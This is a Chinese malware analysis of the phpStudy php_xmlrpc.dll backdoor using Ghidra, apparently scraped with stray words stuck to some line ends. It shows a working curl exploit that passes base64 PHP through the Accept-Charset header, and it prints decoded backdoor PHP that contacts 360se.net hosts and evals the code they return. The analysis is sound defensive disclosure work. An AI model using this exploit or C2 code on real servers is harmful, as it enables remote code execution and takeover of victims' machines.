使用 Ghidra 分析 phpStudy 後門

做者:lu4nx@知道創宇404積極防護實驗室php

做者博客:《使用 Ghidra 分析 phpStudy 後門》html

原文連接:https://paper.seebug.org/1058/python


此次事件已過去很多天,該響應的也都響應了,雖然網上有不少廠商及組織發表了分析文章,但記載分析過程的很少,我只是想正兒八經用 Ghidra 從頭至尾分析下。git

1 工具和平臺

主要工具:github

  • Kali Linuxshell

  • Ghidra 9.0.4curl

  • 010Editor 9.0.2socket

樣本環境:tcp

  • Windows7編輯器

  • phpStudy 20180211

2 分析過程

先在 Windows 7 虛擬機中安裝 PhpStudy 20180211,而後把安裝完後的目錄拷貝到 Kali Linux 中。

根據網上公開的信息:後門存在於 php_xmlrpc.dll 文件中,裏面存在「eval」關鍵字,文件 MD5 爲 c339482fd2b233fb0a555b629c0ea5d5。

所以,先去找到有後門的文件:

lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;
3d2c61ed73e9bb300b52a0555135f2f7  ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll
7c24d796e0ae34e665adcc6a1643e132  ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll
3ff4ac19000e141fef07b0af5c36a5a3  ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll
c339482fd2b233fb0a555b629c0ea5d5  ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll
5db2d02c6847f4b7e8b4c93b16bc8841  ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll
42701103137121d2a2afa7349c233437  ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll
0f7ad38e7a9857523dfbce4bce43a9e9  ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll
149c62e8c2a1732f9f078a7d17baed00  ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll
fc118f661b45195afa02cbf9d2e57754  ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll

將文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 單獨拷貝出來,再確認下是否存在後門:

lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep eval
zend_eval_string
@eval(%s('%s'));
%s;@eval(%s('%s'));

從上面的搜索結果能夠看到文件中存在三個「eval」關鍵字,如今用 Ghidra 載入分析。

在 Ghidra 中搜索下:菜單欄「Search」 > 「For Strings」,彈出的菜單按「Search」,而後在結果過濾窗口中過濾「eval」字符串,如圖:

01.png

從上方結果「Code」字段看的出這三個關鍵字都位於文件 Data 段中。隨便選中一個(我選的「@eval(%s(‘%s’));」)並雙擊,跳轉到地址中,而後查看哪些地方引用過這個字符串(右擊,References > Show References to Address),操做如圖:

02.png

結果以下:

03.png

可看到這段數據在 PUSH 指令中被使用,應該是函數調用,雙擊跳轉到彙編指令處,而後 Ghidra 會自動把彙編代碼轉成較高級的僞代碼並呈如今 Decompile 窗口中:

04.png

若是沒有看到 Decompile 窗口,在菜單Window > Decompile 中打開。

在翻譯後的函數 FUN_100031f0 中,我找到了前面搜索到的三個 eval 字符,說明這個函數中可能存在多個後門(固然通過完整分析後存在三個後門)。

這裏插一句,Ghidra 轉換高級代碼能力比 IDA 的 Hex-Rays Decompiler 插件要差一些,好比 Ghidra 轉換的這段代碼:

puVar8 = local_19f;
while (iVar5 != 0) {
  iVar5 = iVar5 + -1;
  *puVar8 = 0;
  puVar8 = puVar8 + 1;
}

在IDA中翻譯得就很直觀:

memset(&v27, 0, 0xB0u);

還有對多個邏輯的判斷,IDA 翻譯出來是:

if (a && b){
...
}

Ghidra 翻譯出來倒是:

if (a) {
  if(b) {
  }
}

而多層 if 嵌套閱讀起來會常常迷路。總之 Ghidra 翻譯的代碼只有反覆閱讀後才知道是幹嗎的,在理解這類代碼上我花了好幾個小時。

2.1 第一個遠程代碼執行的後門

第一個後門存在於這段代碼:

iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
                       s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
  uVar6 = 0xffffffff;
  pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
  do {
    if (uVar6 == 0) break;
    uVar6 = uVar6 - 1;
    cVar1 = *pcVar9;
    pcVar9 = pcVar9 + 1;
  } while (cVar1 != '\0');
  iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
                         );
  if (iVar5 != -1) {
    pcVar9 = s_gzip,deflate_1000ec74;
    pbVar4 = *(byte **)*local_28;
    pbVar7 = pbVar4;
    do {
      bVar2 = *pbVar7;
      bVar11 = bVar2 < (byte)*pcVar9;
      if (bVar2 != *pcVar9) {
      LAB_10003303:
        iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
        goto LAB_10003308;
      }
      if (bVar2 == 0) break;
      bVar2 = pbVar7[1];
      bVar11 = bVar2 < ((byte *)pcVar9)[1];
      if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
      pbVar7 = pbVar7 + 2;
      pcVar9 = (char *)((byte *)pcVar9 + 2);
    } while (bVar2 != 0);
    iVar5 = 0;
  LAB_10003308:
    if (iVar5 == 0) {
      uVar6 = 0xffffffff;
      pcVar9 = s__SERVER_1000ec9c;
      do {
        if (uVar6 == 0) break;
        uVar6 = uVar6 - 1;
        cVar1 = *pcVar9;
        pcVar9 = pcVar9 + 1;
      } while (cVar1 != '\0');
      iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
                             0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
      if (iVar5 != -1) {
        uVar6 = 0xffffffff;
        pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
        do {
          if (uVar6 == 0) break;
          uVar6 = uVar6 - 1;
          cVar1 = *pcVar9;
          pcVar9 = pcVar9 + 1;
        } while (cVar1 != '\0');
        iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
                               &local_1c);
        if (iVar5 != -1) {
          uVar6 = 0xffffffff;
          pcVar9 = *(char **)*local_1c;
          do {
            if (uVar6 == 0) break;
            uVar6 = uVar6 - 1;
            cVar1 = *pcVar9;
            pcVar9 = pcVar9 + 1;
          } while (cVar1 != '\0');
          local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
          if (local_10 != (undefined4 *)0x0) {
            iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
            local_24 = *(undefined4 *)(iVar5 + 0x128);
            *(undefined **)(iVar5 + 0x128) = local_ec;
            iVar5 = _setjmp3(local_ec,0);
            uVar3 = local_24;
            if (iVar5 == 0) {
              zend_eval_string(local_10,0,&DAT_10012884,param_3);
            }
            else {
              *(undefined4 *)
                (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
                local_24;
            }
            *(undefined4 *)
              (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
          }
        }
      }
    }
  }
 }

閱讀起來很是複雜,大概邏輯就是經過 PHP 的 zend_hash_find 函數尋找 $_SERVER 變量,而後找到 Accept-Encoding 和 Accept-Charset 兩個 HTTP 請求頭,若是 Accept-Encoding 的值爲 gzip,deflate,就調用 zend_eval_string 去執行 Accept-Encoding 的內容:

zend_eval_string(local_10,0,&DAT_10012884,param_3);

這裏 zend_eval_string 執行的是 local_10 變量的內容,local_10 是經過調用一個函數賦值的:

local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);

函數 FUN_100040b0 最後分析出來是作 Base64 解碼的。

到這裏,就知道該如何構造 Payload 了:

Accept-Encoding: gzip,deflate
Accept-Charset: Base64加密後的PHP代碼

朝虛擬機構造一個請求:

$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6

結果如圖:

05.png

2.2 第二處後門

沿着僞代碼繼續分析,看到這一段代碼:

if (iVar5 == 0) {
  puVar8 = &DAT_1000d66c;
  local_8 = &DAT_10012884;
  piVar10 = &DAT_1000d66c;

  do {
    if (*piVar10 == 0x27) {
      (&DAT_10012884)[iVar5] = 0x5c;
      (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
      iVar5 = iVar5 + 2;
      piVar10 = piVar10 + 2;
    }
    else {
      (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
      iVar5 = iVar5 + 1;
      piVar10 = piVar10 + 1;
    }
    puVar8 = puVar8 + 1;
  } while ((int)puVar8 < 0x1000e5c4);
  spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);
  spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,
           local_8);
  iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
  local_10 = *(undefined4 **)(iVar5 + 0x128);
  *(undefined **)(iVar5 + 0x128) = local_6c;
  iVar5 = _setjmp3(local_6c,0);
  uVar3 = local_10;

  if (iVar5 == 0) {
    zend_eval_string(local_8,0,&DAT_10012884,param_3);
  }
  else {
    *(undefined4 **)
      (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;
  }
  *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
    uVar3;

  return 0;
 }

重點在這段:

puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000e5c4);

變量 puVar8 是做爲累計變量,這段代碼像是拷貝地址 0x1000d66c 至 0x1000e5c4 之間的數據,因而選中切這行代碼:

puVar8 = &DAT_1000d66c;

雙擊 DAT_1000d66c,Ghidra 會自動跳轉到該地址,而後在菜單選擇 Window > Bytes 來打開十六進制窗口,現已處於地址 0x1000d66c,接下來要作的就是把 0x1000d66c~0x1000e5c4 之間的數據拷貝出來:

  1. 選擇菜單 Select > Bytes;

  2. 彈出的窗口中勾選「To Address」,而後在右側的「Ending Address」中填入 0x1000e5c4,如圖:

06.png

按回車後,這段數據已被選中,我把它們單獨拷出來,點擊右鍵,選擇 Copy Special > Byte String (No Spaces),如圖:

07.png

而後打開 010Editor 編輯器:

  1. 新建文件:File > New > New Hex File;

  2. 粘貼拷貝的十六進制數據:Edit > Paste From > Paste from Hex Text

而後,把「00」字節所有去掉,選擇 Search > Replace,查找 00,Replace 那裏不填,點「Replace All」,處理後以下:

08.png

把處理後的文件保存爲 p1。經過 file 命令得知文件 p1 爲 Zlib 壓縮後的數據:

$ file p1
p1: zlib compressed data

用 Python 的 zlib 庫就能夠解壓,解壓代碼以下:

import zlib

with open("p1", "rb") as f:
    data = f.read()
    print(zlib.decompress(data))

執行結果以下:

lu4nx@lx-kali:/tmp$ python3 decom.py
b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"

用 base64 命令把這段 Base64 代碼解密,過程及結果以下:

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
                return "err";
        }
  }
  fwrite($handle, $sendMsg."\n");
        while(!feof($handle)){
                stream_set_timeout($handle, 2);
                $result .= fread($handle, 1024);
                $info = stream_get_meta_data($handle);
                if ($info['timed_out']) {
                  break;
                }
         }
  fclose($handle);
  return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
        $n = false;
        foreach ($ds as $d){
                $b = false;
                foreach ($ps as $p){
                        $result = tcpGet($i,$d.".360se.net",$p);
                        if ($result != "err"){
                                $b =true;
                                break;
                        }
                }
                if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
                if (strpos($info[3],"/*Onemore*/") !== false){
                        $info[3] = str_replace("/*Onemore*/","",$info[3]);
                        $n=true;
                }
                @eval(base64_decode($info[3]));
        }
}while($n);

2.3 第三個後門

第三個後門和第二個實現邏輯其實差很少,代碼以下:

puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;

do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000d66c);

spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_18 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ac;
iVar5 = _setjmp3(local_ac,0);
uVar3 = local_18;

if (iVar5 == 0) {
  zend_eval_string(local_c,0,&DAT_10012884,param_3);
 }

重點在這段:

puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;

do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000d66c);

後門代碼在地址 0x1000d028~0x1000d66c 中,提取和處理方法與第二個後門的同樣。找到並提出來,以下:

lu4nx@lx-kali:/tmp$ python3 decom.py
b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"

把這段Base64代碼解碼:

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
        $out .= "Host: {$h}\r\n";
        $out .= "Accept-Encoding: compress,gzip\r\n";
        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);
        fclose($fp);
}

3 參考

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